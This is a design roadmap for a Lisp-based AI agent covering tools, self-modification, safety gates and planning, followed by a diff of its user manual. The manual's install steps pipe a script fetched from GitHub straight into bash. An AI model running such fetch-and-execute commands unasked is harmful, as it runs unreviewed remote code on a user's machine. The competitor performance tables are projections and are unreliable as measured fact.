- The TUI message for a streamed response shows a ~[streaming]~ indicator that changes to a timestamp when the stream completes. If interrupted, the indicator changes to ~[interrupted]~.
- Add FiveAM tests: stream-chunk framing round-trips correctly; interrupt during streaming produces a valid partial message; the TUI correctly renders progressive chunks vs a completed message.
*** Competitive Advantage Analysis — v0.6.0 Summary
The priority queue eliminates the perception of sluggishness that concurrent load creates. A user typing a query never waits for a heartbeat tick to finish — their signal jumps the queue. The coalescing of duplicate heartbeats eliminates wasted processing. This is table-stakes UX for a daily-driver agent.
MVCC concurrency on the Merkle tree is genuinely novel for an AI agent. Most agents use either a single-threaded event loop (Claude Code) or process-level isolation (OpenClaw's subprocess model). Passepartout's approach — concurrent threads sharing a versioned content-addressable tree — combines the coherence of a single-agent memory with the throughput of concurrent execution. The Merkle tree, originally designed for integrity verification, gets a second life as the concurrency control primitive. This is the kind of architectural synergy that single-purpose databases can't match.
Structured output enforcement bridges the gap between "Passepartout uses plists, not JSON" and "LLMs sometimes produce malformed syntax." It gives the system the same reliability guarantee that JSON mode gives competitors — the output will parse — without introducing JSON into the architecture.
Streaming responses (v0.6.3) close the last remaining table-stakes UX gap with Hermes Agent and Claude Code. The "…thinking" spinner is replaced with live text. Interrupt-and-redirect means the user can course-correct mid-response instead of waiting for a wrong answer to complete. Combined with the TUI critical fixes (v0.3.3) and differentiator visualizations (v0.4.0), the TUI is competitive on responsiveness and uniquely informative on safety and context transparency.
** v0.7.0: Tool Ecosystem (MCP-Native) + Voice Gateway
The original roadmap placed MCP at v0.8.0 and planned "10+ cognitive tools" built from scratch for v1.0.0. This is inverted: the ecosystem already provides 50+ tools (filesystem, git, postgres, slack, github, web search, memory servers). Building bespoke tools from scratch duplicates work the community has already done and tested. Passepartout's advantage is not in tool *implementation* but in tool *orchestration* — the deterministic gate stack that verifies every tool invocation before execution.
*Why MCP matters for competitive positioning:* Claude Code's native tools (Read, Write, Edit, Bash, Grep, Glob, WebSearch) are implemented in TypeScript within the Claude Code runtime. They are not extensible — you cannot add a tool without modifying the runtime. OpenClaw's tools are similarly baked into the Node.js process. By building a native MCP client, Passepartout gains tool breadth that exceeds both competitors (50+ tools via the MCP ecosystem versus ~10 native tools) without building a single tool implementation. The tool quality is maintained by the ecosystem; the safety verification is maintained by Passepartout's gate stack. This division of labor is the right architecture for a small team building a competitor to well-funded commercial agents.
*** TODO MCP native client
- Pure Common Lisp MCP client: parse JSON-RPC messages from MCP servers over stdio or SSE. No Python bridge, no Node.js subprocess. The client runs in the same Lisp image as the agent — zero serialization overhead between the agent and the MCP layer.
- Implement the MCP protocol lifecycle: initialize handshake, list tools, call tool, handle notifications. Each MCP server registers its tools as entries in Passepartout's ~*cognitive-tool-registry*~ at connection time — the LLM's tool belt prompt automatically expands to include them.
- ~MCP_SERVERS~ env var: comma-separated paths to MCP server config files (JSON). Each config specifies the server command, args, and env vars. Example: =MCP_SERVERS=~/.config/passepartout/mcp/filesystem.json,~/.config/passepartout/mcp/git.json=.
- Tool invocation route: LLM proposes a tool call → Dispatcher verifies against permission table → MCP client serializes call as JSON-RPC → server executes → result deserialized back to plist → returned to LLM as tool output. The Dispatcher does not distinguish between native tools and MCP tools — the gate stack is uniform.
- Register the MCP client as a skill (~defskill~~:passepartout-mcp-client~) so it can be hot-reloaded. The MCP client is not core infrastructure — it is a skill that extends the tool ecosystem.
*** TODO Core MCP tools (from existing roadmap items)
- Git Steward (deferred from old v0.5.0): status, diff, commit, push, branch via the MCP Git server. Policy gate enforces commit-before-modify: any file write to a git-tracked directory must be preceded by a diff review.
- Web Research (deferred from old v0.7.0): headless browser via Puppeteer/Playwright MCP server. Text extraction, screenshot capture, page interaction.
- Interactive PTY (deferred from old v0.6.0): stream long-running process output to context window, async interrupt control.
*** TODO TUI tool visualization
- Tool invocation rendering: when the agent invokes a tool, the TUI renders a color-coded, collapsible region. Pre-execution: ~[Running: bash "npm test"...]~ in magenta with a dim spinner. Post-execution: ~✓ bash: tests passed (1.2s)~ in green, or ~✗ bash: exit code 1~ in red with the error output expanded below.
- Tool output is collapsed by default (single line summary). Pressing Enter on a tool invocation row toggles expansion to show the full output.
- Diff display: when a file write or git diff is involved, render the diff with standard ~+~ (green) / ~-~ (red) coloring. The diff is shown as a compact inline block with 3 lines of context around each change.
- Gate trace for tool invocations: each tool call shows its Dispatcher gate results inline (gate trace from v0.4.0), so the user sees both the tool execution and which safety gates allowed or blocked it.
*** TODO Environment Steward
- Detect "command not found" in shell actuator output.
- Search system PATH and package manager registries for the missing command.
- Propose installation command and retry the failed action on user approval.
- Cache resolved dependency paths to avoid repeated searches.
*** v0.7.3 — TODO Voice Gateway
Rationale: OpenClaw ships voice wake words and talk mode on macOS/iOS/Android via ElevenLabs. Hermes Agent has voice memo transcription. Both treat voice as a first-class channel. Passepartout's daemon already handles text — voice is an I/O format conversion. Speech-to-text turns audio into ~:user-input~ signals. Text-to-speech turns agent responses into audio. The architecture requires no changes; the voice gateway is a skill that wraps existing REST APIs.
- Speech-to-text: POST audio to OpenAI Whisper API (~/v1/audio/transcriptions~) or local Whisper via Ollama. Receive text. Inject as a ~:user-input~ signal into the pipeline. The daemon processes it identically to a typed message.
- Text-to-speech: POST text to ElevenLabs REST API (~/v1/text-to-speech/{voice-id}~) with stream response. Also support system ~say~ (macOS) / ~espeak~ (Linux) as zero-dependency fallbacks.
- TUI voice toggle: ~/voice on~ enables voice capture, shows a ~🎤~ (listening) indicator in the status bar. ~/voice off~ returns to text-only. The microphone capture runs in a dedicated thread that feeds audio chunks to the speech-to-text backend.
- Voice mode in messaging gateways: on Telegram and Discord, the voice gateway transcribes voice messages into text and injects them as ~:user-input~ signals. Agent responses can be optionally spoken back via text-to-speech if the user's message included a voice note (reply in kind).
- The voice gateway is a skill (~defskill~~:passepartout-gateway-voice~). No core daemon changes required. The daemon receives text signals whether they originated from a keyboard, a messaging app, or a microphone.
*** Competitive Advantage Analysis — v0.7.0 Summary
MCP-native tool architecture gives Passepartout a tool breadth advantage that no single team could achieve through bespoke implementation. The MCP ecosystem is growing faster than any individual agent's tool set. By connecting to it rather than competing with it, Passepartout's tool count scales with the ecosystem — every new MCP server is a new Passepartout tool.
The Dispatcher's tool permission table (allow/ask/deny) applies uniformly to MCP tools, giving Passepartout tool-level security granularity that competitors lack. Claude Code's tools are binary: available or not. Passepartout can conditionally allow filesystem writes to ~/projects/*~ while requiring HITL for writes to ~~/.config/*~ — per-path, per-tool, per-session. This is the deterministic gate stack's natural application domain.
The Git policy gate (commit-before-modify) is a safety feature no competitor provides. It prevents the most common agent failure mode: modifying files without preserving the prior state. Combined with memory snapshots (v0.2.0), this gives every action a dual audit trail: the git history and the memory object history.
v0.7.1 is also the threshold at which Passepartout can safely self-build — modify its own source files outside the core pipeline. The ~core-*~ path protection from v0.4.0 ensures the agent cannot destroy its own brain stem during self-building; the TDD runner catches regressions before commit; the Git policy gate preserves every state change. Together, these four releases (v0.4.0, v0.5.0, v0.6.2, v0.7.1) form the safety, economic, reliability, and tool stack that makes self-hosting viable.
The voice gateway (v0.7.3) adds parity with OpenClaw's voice features without architectural changes — speech-to-text and text-to-speech are thin REST wrappers that feed text signals into the existing pipeline. Combined with the Emacs bridge (v0.4.0) and messaging gateways (v0.4.0), Passepartout supports four interaction surfaces by v0.7.3: terminal (TUI), messaging apps, Emacs, and voice. Each surface is a thin client speaking the same framed TCP protocol to the same daemon.
** v0.8.0: Planning, Self-Modification & Deterministic Routing
*Design insight: the inverted tier classifier.* The current tier classifier routes "rm", "write-file", and "shell" to ~:REFLEX~ (no LLM). This routes the most dangerous operations to the path with the least oversight. It should be inverted: ~:REFLEX~ handles deterministic lookups (list TODOs, check file existence, query memory), ~:COGNITION~ handles text processing and summarization, ~:REASONING~ handles planning and code generation. Dangerous operations should always route through ~:REASONING~ where the full LLM cycle and Dispatcher gate stack apply. v0.8.1 fixes this.
*** TODO Long-horizon planning (task tree DAG)
- Decompose complex tasks into Org-mode headline trees. Each task node is a memory-object with terminal states: ~:todo~ → ~:next-action~ → ~:in-progress~ → ~:done~ / ~:blocked~ / ~:stuck~.
- The LLM generates the initial task tree from the user's request. The REASONING tier processes each leaf task sequentially, updating node states as it progresses.
- Parent nodes summarise child results: when all children of a node reach ~:done~, the parent is promoted to ~:done~ with a synthesised summary. When any child reaches ~:stuck~, the parent is promoted to ~:blocked~ with the blocking child's diagnostic.
- Branch pruning: if a child is ~:stuck~ after three retries with different LLM providers, the parent re-plans the branch — the LLM generates alternative decomposition paths for the blocked sub-task.
- Task trees persist as Org headlines in ~/memex/system/tasks/~. Survive restarts. Visible to the user as editable Org files.
- TUI task tree visualization: a collapsible Org headline tree rendered in the chat area. Each node shows its terminal state with a colored indicator (~○~ todo, ~▶~ next-action, ~◉~ in-progress, ~✓~ done, ~✗~ blocked, ~⏸~ stuck). Nodes expand/collapse on Enter. The tree updates in real time as the agent progresses through subtasks. This is visible in the TUI as an async status region that appears when the agent is executing a long-horizon plan and collapses to a single summary line when complete.
*** TODO Tier classifier fix
- Invert the current classifier: ~:REFLEX~ = deterministic lookups only (memory query, file-exists-p, check time, list TODOs by tag). ~:COGNITION~ = text processing, summarization, simple Q&A, note formatting. ~:REASONING~ = planning, code generation, multi-step task execution, dangerous operations.
- Track classifier accuracy via telemetry: for each classified action, record whether the classification was appropriate (did the ~:REFLEX~ action actually succeed without LLM? did a ~:REASONING~ action turn out to be a simple lookup?).
- The classifier function is overrideable via ~*tier-classifier*~, allowing users or skills to customize routing.
- The classifier should be a skill, not core infrastructure — reloadable and replaceable without restart.
*** TODO Skill Creator
- LLM drafts complete skill org-file from natural language description.
- Mandatory pipeline: (a) syntax validation via ~lisp-syntax-validate~, (b) sandbox-load in temporary jailed package (v0.3.2), (c) run registered trigger function against mock contexts, (d) run registered deterministic gate against mock proposals, (e) on pass, promote to live registry under ~passepartout.skills.<name>~.
- Required ~:repl-verified~ flag on all ~defun~ forms — the existing Dispatcher lint check (core-loop-act.lisp:152–161) warns on writes without verification. The Skill Creator enforces this at creation time.
- Skills are the primary extension mechanism for users. The Skill Creator makes skill authoring accessible to non-Lisp-programmers: describe what you want in English, the LLM drafts the Org file, the system verifies it, and the skill is live. This is how Passepartout grows its capability surface without requiring the user to learn Common Lisp.
*** Competitive Advantage Analysis — v0.8.0 Summary
The task tree DAG with terminal states and branch pruning is Passepartout's planning primitive — analogous to Claude Code's TODO list but structural (Org headlines with parent-child relationships) rather than flat. The advantage: subtask dependencies are explicit in the tree structure, so the agent knows that task C depends on tasks A and B without having to rediscover this from context. Parent summarisation means the LLM can check high-level progress without re-reading every child's output — a token savings multiplier on long-running tasks.
The tier classifier fix is a safety correctness issue. The current inverted classifier (dangerous ops → no-LLM path) is actively harmful — it reduces oversight on the operations that need it most. Fixing this means "dangerous by default → maximal oversight" becomes the routing rule, which is the correct security posture.
The Skill Creator is the mechanism by which Passepartout escapes the "team of Lisp programmers" constraint. Most agent frameworks require Python/TypeScript to extend. Passepartout's extension language is English — the LLM writes the Lisp, the system verifies it. The sandbox-load and verification pipeline (from v0.3.2) make this safe: a skill that fails verification never enters the running image.
** v0.9.0: Evaluation & Vision
With tools (v0.7.0) and planning (v0.8.0) in place, the agent can execute complex multi-step tasks. v0.9.0 answers two questions: (1) how do we *prove* it works? (SWE-bench evaluation harness), and (2) can the agent interact with visual interfaces? (computer use / vision). Streaming has been moved to v0.6.3 — it depends only on the daemon protocol, not on evaluation or vision.
*** TODO SWE-bench harness
- Automated pipeline: clone a repository from SWE-bench dataset, parse the GitHub issue, feed the issue description into Passepartout's cognitive loop, track the resolution trajectory as an Org headline tree, apply the generated patch, run the repository's test suite, score success (tests pass yes/no).
- Trajectory persistence: each benchmark run produces an Org file under ~/memex/system/benchmarks/~ recording every ~think()~ call, every tool invocation, every Dispatcher decision, and the final test result. The trajectory is auditable — a human can read why the agent made each decision and where it went wrong on failures.
- Regression mode: run the same benchmark after each version release. Track score trends. A version that regresses on SWE-bench does not ship.
- Target: competitive score with Claude Code and OpenClaw on SWE-bench-verified by v1.0.0. The evaluation harness ships in v0.9.0 so there are two full version cycles to iterate and improve before v1.0.0 ships.
*** TODO Computer Use / Vision
- Screenshot capture: X11 (~xwd~ / ~import~) and Wayland (~grim~) bridge. The agent requests a screenshot of a specific window or the full desktop.
- Vision model integration: send screenshot to a vision-capable model (GPT-4V, Claude 3.5, Gemini 2.0 Flash). The model analyzes UI elements and returns structured descriptions.
- Coordinate-based interaction: ~xdotool~ / ~ydotool~ for click and type commands at specific screen coordinates. Dispatcher approval gate applies — screen interaction requires HITL by default, overridable per-application via permission table.
- Use case: the user says "open Firefox, search for the Passepartout GitHub repo, and star it." The agent captures screenshots, identifies UI elements via the vision model, and issues click/type commands. Each step is verified by a follow-up screenshot to confirm the action succeeded.
*** Competitive Advantage Analysis — v0.9.0 Summary
SWE-bench evaluation is the industry standard for coding agent capability claims. Without it, "SOTA parity" is a marketing claim. With it, "SOTA parity" is a number. The harness's trajectory persistence is a differentiator: most evaluation harnesses produce a pass/fail score. Passepartout's produces a complete Org-mode audit trail showing exactly where the reasoning succeeded or failed. This turns benchmarking into a debugging tool — failed trajectories point directly to the skill, gate, or model that needs improvement.
Vision + screen interaction is table stakes for competing with Claude Code's computer use feature. The Passepartout advantage: every screen interaction passes through the Dispatcher gate stack. A vision model might hallucinate a UI element that doesn't exist — the follow-up screenshot verification catches this deterministically. Competitors' computer use features lack this verification step — they trust the vision model's output.
** v0.10.0: Consensus, GTD & Deep Emacs Integration
Near-SOTA. The agent has tools, planning, evaluation, and streaming. v0.10.0 adds reliability (consensus), productivity methodology (GTD), and environment depth (Emacs integration).
*** TODO Consensus loop
- Multi-provider parallel inference for critical decisions. When the action's impact score exceeds a threshold (file writes outside home directory, shell commands that touch /etc, git pushes to main), the system sends the same prompt to 2–3 independent providers.
- Disagreement detection: compare the structured outputs (actions proposed by each provider). If all providers propose the same action (or semantically equivalent actions), proceed with the highest-confidence result. If providers disagree, flag the action for HITL approval and present the user with each provider's proposal and confidence score.
- Confidence scoring: when providers agree, use the agreement level as a confidence metric for telemetry. Track which provider combinations produce the highest agreement rates for which task types.
- Cost-aware: consensus mode doubles/triples cost for the action. Only trigger when the action's impact exceeds the cost threshold. Configurable via ~CONSENSUS_THRESHOLD~ — actions below the threshold use single-provider mode.
- TUI consensus display: when consensus mode fires, the TUI shows a collapsible region listing each provider, its model, its proposal, and its confidence score. Agreement is rendered as ~✓ 3/3 providers agree~ in green; disagreement as ~✗ 2/3 providers agree (1 disagrees)~ in yellow with the dissenting proposal expanded for review. The user can accept the majority or inspect the dissent before approving.
*** TODO GTD integration
- Full GTD cycle: capture (inbox → process), clarify (what is this? is it actionable?), organize (project, next action, reference, someday/maybe, trash), reflect (weekly review), engage (context-appropriate action lists).
- Org properties: ~:TRIGGER:~ (what context makes this actionable — @home, @office, @computer, @phone), ~:BLOCKER:~ (what task must complete first).
- Weekly review: the agent scans all projects and tasks, surfaces stalled items, suggests next actions, and generates a review Org file for the user. The review is produced deterministically (no LLM — pure Org tree traversal) and takes zero tokens.
- TUI agenda view: a ~/agenda~ command renders the user's Org-agenda (scheduled items, deadlines, habits) as a formatted scrollable region within the chat area. The agent can reference agenda context in its responses without the user having to paste their schedule.
*** TODO Deep Emacs integration
Rationale: The Emacs bridge (v0.4.0) treats Emacs as a Passepartout client — the user sends text, Emacs displays responses. This is the first direction: Emacs → Passepartout. The deep integration is the second direction: Passepartout → Emacs. The agent reads the user's agenda, clocks time on tasks, refiles headlines, and archives completed work. This builds on the TCP bridge already in place from v0.4.0 — the agent now initiates commands to Emacs, not just responds to user input.
- Org-agenda awareness: the agent queries the user's agenda view (scheduled items, deadlines, habits) and incorporates agenda context into planning decisions. "What should I work on today?" considers the agenda, not just the task tree.
- Clock time tracking: the agent starts/stops clocks on Org headlines. Produces clock tables for time reporting. This enables the agent to answer "how long did I spend on that feature?"
- Refile and archive: the agent refiles headlines between Org files and archives completed items to ~/memex/archives/~. Archive decisions are proposed by the LLM and verified by the Dispatcher (archive policy: DONE items older than 30 days, DONE items with no open child tasks).
*** Competitive Advantage Analysis — v0.10.0 Summary
The consensus loop is not unique (OpenClaw has a similar feature), but Passepartout's implementation benefits from the structured output enforcement in v0.6.2 — comparing plists for semantic equivalence is simpler and more reliable than comparing free-text responses.
The GTD integration and Emacs integration are Passepartout's "unfair advantages" — no competitor has either. Claude Code and Copilot are development tools, not life management tools. Org-mode is the bridge: the same format that holds the agent's memory holds the user's tasks, calendar, and notes. The GTD cycle operates on the same Org trees that the foveal-peripheral model renders into LLM context. There is no import/export, no separate task database, no format conversion. The agent's world model IS the user's Org files. This is the unified format thesis from the DESIGN_DECISIONS document made operational — and it's a capability that JSON-based agents structurally cannot replicate.
** v1.0.0: SOTA Parity (verified)
Feature-complete, benchmark-verified, production-hardened. All capabilities from v0.3.0 through v0.10.0 integrated and tested end-to-end.
v1.0.0 is not a feature release — it is a verification release. Every feature from the v0.x series is tested under concurrent load, resource starvation, adversarial input, and benchmark scoring. The evaluation harness (v0.9.0) provides the scoring apparatus; v1.0.0 is the scored release.
| Area | Parity Target | Verification Method |
|-------------------+---------------------------------------------+---------------------------------------|
| Self-improvement | Skill Creator + self-edit + hot-reload | Skill regression suite (v0.3.x) |
| Planning | Task tree DAG with terminal states | Multi-step integration tests |
| Tool ecosystem | 15+ MCP tools + native shell + git | MCP protocol compliance tests |
| Context window | Semantic search + foveal-peripheral + caching| Token budget vs competitor audit |
| Safety | 9-vector Dispatcher + policy + permissions | Chaos testing (v0.9.0) |
| Multi-step tasks | Task trees with terminal states | SWE-bench score (v0.9.0 harness) |
| Code editing | Full file read/write via MCP + Org | SWE-bench-verified subset |
| Memory | Vector recall + Merkle integrity + MVCC | Concurrency stress test (v0.6.1) |
| Emacs integration | Full org-mode control (exceeds Claude Code) | Org-agenda round-trip test |
| Streaming | Partial output + early termination | TUI UX latency benchmark |
| TUI | Word wrap, cursor, gate trace, focus map, | TUI integration test suite (v0.3.3, v0.4.0) |
| | rule counter, cost counter, streaming | |
| Packaging | Source install (primary) + save-lisp-and-die | Install test matrix across distros |
| | binary for constrained platforms | |
| Offline | 100% local capable (7-13B model) | Air-gapped integration test |
| Cost | 2-3x fewer tokens than competitors | SWE-bench token audit |
| Concurrency | Priority queue + MVCC + parallel signals | Concurrent load test (3 users + bg) |
**Performance projection at v1.0.0:**
| Scenario | Passepartout v1.0.0 | Claude Code | OpenClaw |
|-------------------------------+----------------------------------+------------------------------------+------------------------------------|
| Single-turn chat (local 8B) | 2-4s, ~1,500 tok | N/A (cloud-only) | N/A (cloud-only) |
| Single-turn chat (cloud) | 1-3s, ~1,500 tok | 1-3s, ~3,000 tok | 1-3s, ~3,500 tok |
| Multi-step coding (5 files) | 15-30s, ~30,000 tok | 10-20s, ~65,000 tok | 20-40s, ~85,000 tok |
| Knowledge base query (500 nodes)| <1s (in-image vector), 0 LLM tok | 3-5s, ~5,000 tok (LLM-assisted) | 3-5s, ~5,000 tok (LLM-assisted) |
| Background maintenance | 0 LLM tok (deterministic cron) | Variable or skipped | Variable or skipped |
| Offline operation | Full capability | None | None |
| Cost per coding session | ~$0.15 (gpt-4o-mini) | ~$0.45 (gpt-4o-mini) | ~$0.55 (gpt-4o-mini) |
Passepartout wins on cost (2-3x savings from sparse trees + deterministic gates + caching), offline capability (unique), and knowledge management (10-40x savings from in-image vector lookup + Org-native format). It is competitive on single-turn latency and slightly behind on multi-step latency (the single-pipeline architecture adds ~5s overhead per tool execution versus competitors' parallel tool dispatch).
The key insight at v1.0.0: Passepartout does not beat competitors at everything. It wins decisively where the architecture's structural advantages apply (safety, cost, offline operation, knowledge management) and is competitive where they don't (raw LLM inference speed, parallel tool dispatch). This is a defensible position — the niches Passepartout dominates are exactly the niches that matter for a sovereign, local-first AI assistant.
But it is still fundamentally probabilistic at its core. The symbolic engine verifies and constrains, but the generative engine is still the primary reasoning source. The architectural transition to symbolic-first reasoning happens in v3.0.0.
** v2.0.0: Lisp Machine Emergence
v2.0.0 is where Passepartout stops being a daemon with clients and becomes the environment. The agent's cognitive loop, the user's editor, the user's shell, and the user's browser run in the same Common Lisp image. The Dispatcher gate stack verifies every action regardless of who initiated it — user or agent. The distinction between "tool" and "self" dissolves.
**Why this version matters for UX parity.** v0.4.0 through v1.0.0 give Passepartout four interaction surfaces (TUI, messaging apps, Emacs, voice). This is competitive with Hermes Agent's TUI + messaging but not with OpenClaw's 25+ channels + Canvas + macOS/iOS apps + voice wake words. v2.0.0 doesn't try to match OpenClaw's breadth. It inverts the problem: instead of building more clients, it builds a platform where the agent's environment and the user's environment are the same process, separated not by a sandbox but by the Dispatcher gate stack. The editor IS the agent's prompt. The shell IS the agent's actuator. The browser IS the agent's web research tool. There are no clients — there is one Lisp image, one address space, one org-mode file system. This is only possible because the deterministic safety gates are in-process pure Lisp functions rather than out-of-process sandboxes.
**Components:**
| Component | What it replaces | Technology | Status at v1.0.0 |
|-----------------+------------------------+-------------------------------------+-------------------|
| Lish editor | Emacs, VS Code | McCLIM or Croatoan-based TUI | TUI exists (Croatoan) |
| Lish shell | Bash, zsh | Common Lisp REPL (already Lisp) | Shell actuator exists |
| Nyxt browser | Chrome, Firefox | Nyxt (Common Lisp browser) | Playwright MCP (v0.7.0) |
| Web interface | Notion, Obsidian Publish | Org → HTML static site generator | Not started |
| Daemon + memory | "the OS" | SBCL image + Org files | Production (v1.0.0) |
*** Lish — the Common Lisp editor
Not elisp. Not Emacs. A multi-threaded Common Lisp editor built on McCLIM or the Croatoan TUI infrastructure. The complete system prompt lives in an Org buffer — the agent's identity (~AGENTS.md~ equivalent), its skill registry, its memory, and its reasoning are visible and editable as Org text. The user modifies the agent's prompt and the agent reflects the change immediately — the prompt is a file in memory, not a hidden string in a config.
Org-babel for interactive evaluation: source blocks in Org files are executable. The user evaluates a ~#+begin_src lisp~ block and the result appears inline. The agent evaluates blocks to verify code before writing. The REPL is not a separate window — it is the Org buffer in which the agent and user both work.
The editor and the agent share the same Lisp image. The editor is not a client that connects to a daemon — it IS the daemon process. The TUI from v0.4.0 (with word wrap, streaming, gate trace, focus map) is the editor's rendering surface. The Emacs bridge (v0.4.0) remains for users who prefer Emacs until Lish matures.
*** Nyxt — the Common Lisp browser
Nyxt is a browser written in Common Lisp that renders web content in buffers. In v2.0.0, it replaces the Playwright MCP bridge (v0.7.0) as the agent's web interaction surface. The agent controls Nyxt by calling Nyxt functions directly — no subprocess, no serialization, no protocol. Navigation, form filling, data extraction, screenshot capture all happen within the same Lisp image.
This matters because Playwright (Node.js subprocess, v0.7.0) and vision (screenshot + LLM analysis, v0.9.1) give the agent web access but with a process boundary. Nyxt eliminates the boundary. The agent's browser session shares memory with the agent's cognitive loop. The agent can inspect the DOM as Lisp data structures. It can respond to page events by injecting signals into its own pipeline.
The browser also serves as the user's web interface. Org files in ~/memex are rendered as static HTML by a zero-JS Org-to-HTML converter running in Nyxt. The user browses their memex through the same browser the agent uses to research the web. No separate web server. No deployment. It's a directory on disk rendered by a local browser.
*** Lish — the Lisp shell
Bash is a text-stream protocol. Passepartout speaks plists. The Lish shell replaces text streams with structured data — every command returns a plist, not a byte stream. Pipe becomes function composition. Scripts become Lisp functions that operate on memory objects directly.
The agent and the user share the same shell. The user types ~(list-todos :tag "@urgent")~. The agent proposes ~(shell "npm run build")~. The Dispatcher verifies both. The shell is not a separate process — it is a REPL connected to the same Lisp image as the agent's cognitive loop.
Org-mode buffers become the file system. The user's memex (~/memex/) is browsable as a tree of Org headlines. File operations (read, write, list, search) operate on Org AST nodes, not byte streams. A "directory listing" is a tree of headlines. A "file read" is a subtree rendered as text.
Bash remains available as a backend for running external commands, but it is not the primary interface. The agent and the user interact with the system through plists, not through text parsing.
*** Strategic timeline
The Emacs bridge (v0.4.0) is the temporary bridge. It gives Lisp users a native Emacs experience while Lish is being built. By v2.0.0, Lish is mature enough to replace it for users who prefer the integrated environment. Emacs users who prefer Emacs keep the bridge — Lish does not require abandoning Emacs. It offers an alternative built on the same principles (single address space, plists everywhere, Org-mode as AST) but without elisp's limitations (single-threaded, no bordeaux-threads, no shared memory with the agent).
** v3.0.0: Neurosymbolic Maturity
Deterministic planner takes the wheel. LLM relegated to semantic translation.
- Deterministic planner: Pure Lisp task scheduler. No LLM needed for scheduling.
- Self-correcting gates: Gates learn from false positives (user override patterns).
This is the architectural leap. The system transitions from "probabilistic engine with symbolic verification" to "symbolic engine with probabilistic input and output."
The 10-80-10 architecture becomes fully realized: ten percent neural for input translation, eighty percent symbolic for reasoning against a knowledge graph, ten percent neural for output formatting. The symbolic engine maintains facts, relationships, rules, and formal proofs. When the neural engine generates something, the symbolic engine verifies it - not by checking against a blocklist, but by running the proposal through a Prolog/Datalog reasoner that understands the domain constraints.
The deterministic planner takes the wheel. The LLM is no longer consulted for planning decisions - it translates human language to structured queries and structured results back to human language. The planning itself is pure Lisp: task graphs generated by a symbolic reasoner that has access to the full knowledge graph.
Self-correcting gates replace the learned Bouncer rules. The system learns not just from approved exceptions but from the full history of outcomes - did the plan succeed? Where did it fail? The symbolic engine updates its own rules based on the results.
The implications are significant. Hallucination becomes structurally impossible because the symbolic engine will not accept a fact that contradicts its knowledge graph. Safety becomes provable because the formal verification layer can prove properties about the system's behavior. Self-improvement becomes stable because the agent modifies skills that are then verified before execution.
** v4.0.0: AI Stack Internalized
The agent understands its own weights. No external inference.
- Llama.cpp in Lisp: FFI binding. No Python subprocess. Pure Common Lisp inference.
- Weights as sexps: Neural weights as Lisp data structures. Homoiconic model introspection.
** v5.0.0: Hardware
The Lisp machine becomes physical. RISC-V with tagged architecture, hardware-enforced type checking, FPGA prototype for the symbolic core. The agent runs not in emulation but on silicon purpose-built for the architecture.
This is the long horizon. The symbolic engine runs on logic ASICs optimized for symbolic computation. The neural engine runs on GPU or purpose-built matrix math hardware. Lisp orchestrates both, enforcing at the hardware level what it enforced at the software level in earlier versions.
** v6.0.0: True Agency
World models, temporal reasoning, goal persistence across restarts.
- World models: Predictive models of user behavior, project dynamics, system state.
- Temporal reasoning: Scheduling, deadlines, elapsed duration awareness.
- Goal persistence: Goals survive restarts. Long-term projects in memory-objects.

186
docs/USER_MANUAL.org
View File

@@ -1,183 +1,51 @@
#+TITLE: Passepartout User Manual
#+AUTHOR: Passepartout Contributors
#+TITLE: OpenCortex User Manual
#+AUTHOR: OpenCortex Contributors
#+STARTUP: content
#+FILETAGS: :docs:manual:
* Introduction
Welcome to Passepartout. Passepartout is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
Welcome to OpenCortex v0.1.0 (The Autonomous Foundation). OpenCortex is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
* Installation
Passepartout is bootstrapped via a single shell script.
** Quick start (curl)
* Quick Start Installation
OpenCortex can be installed and booted with a single command:
#+begin_src bash
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
curl -sSL https://raw.githubusercontent.com/gharbeia/opencortex/main/opencortex.sh | bash -s -- setup
#+end_src
This will:
1. Install system dependencies (SBCL, Emacs, git, curl, socat — detected for Debian or Fedora)
2. Install Quicklisp (Common Lisp package manager)
3. Tangle literate Org sources into runnable Lisp
4. Launch the interactive setup wizard (LLM providers, gateways)
If you already have Emacs installed, the installer skips it and uses your existing installation.
This command will:
1. Bootstrap the OpenCortex repository into \`~/.opencortex\`.
2. Install system dependencies (SBCL, Quicklisp, etc.).
3. Interactively guide you through the initial configuration.
4. Tangle the literate source code.
5. Awaken the background daemon.
* Configuration
The system is configured via a `.env` file in the project root. Essential variables include:
The system is configured via a \`.env\` file in the project root. Key variables include:
- `OPENROUTER_API_KEY`: Your LLM provider key.
- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
- \`LLM_API_KEY\`: Your provider key (e.g., \`OPENROUTER_API_KEY\`, \`OPENAI_API_KEY\`).
- \`PROVIDER_CASCADE\`: The fallback order for LLM providers (e.g., \`openrouter,ollama,anthropic\`).
- \`MEMEX_DIR\`: The absolute path to your knowledge base (defaults to \`~/memex\`).
* Interacting with Passepartout
Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
#+begin_src bash
./passepartout --boot &
#+end_src
* Interacting with OpenCortex
Once the daemon is running, you can connect via any supported client.
** Terminal User Interface (TUI)
For a rich, split-pane terminal experience:
For a rich terminal experience with history and background worker status:
#+begin_src bash
./passepartout tui
opencortex tui
#+end_src
** Command Line Interface (CLI)
For raw, pipe-friendly interaction:
#+begin_src bash
./passepartout cli
opencortex cli
#+end_src
** TUI Commands
When connected via the TUI, the following commands are available (type them in the input area and press Enter):
| Command | Action |
|-----------------------+--------------------------------------------------------|
| ~/help~ | List all available commands |
| ~/focus <project>~ | Set the agent's foveal focus to a project by name |
| ~/scope memex~ | Set scope to full memex (all projects visible) |
| ~/scope session~ | Set scope to current session only |
| ~/scope project~ | Set scope to focused project only |
| ~/unfocus~ | Clear the foveal focus |
| ~/approve HITL-xxxx~ | Approve a pending HITL action by its token |
| ~/deny HITL-xxxx~ | Deny a pending HITL action by its token |
| ~/theme <name>~ | Switch theme (dark, light, solarized, gruvbox) |
| ~/cost~ | Toggle session cost display in status bar |
| ~/voice on~ | Enable voice capture (planned v0.7.3) |
| ~/voice off~ | Disable voice capture |
| ~/quit~ | Save history and exit (planned v0.3.3) |
For multi-line input, start the line with ~\~ then press Enter to insert a newline without sending.
** Human-in-the-Loop Approval
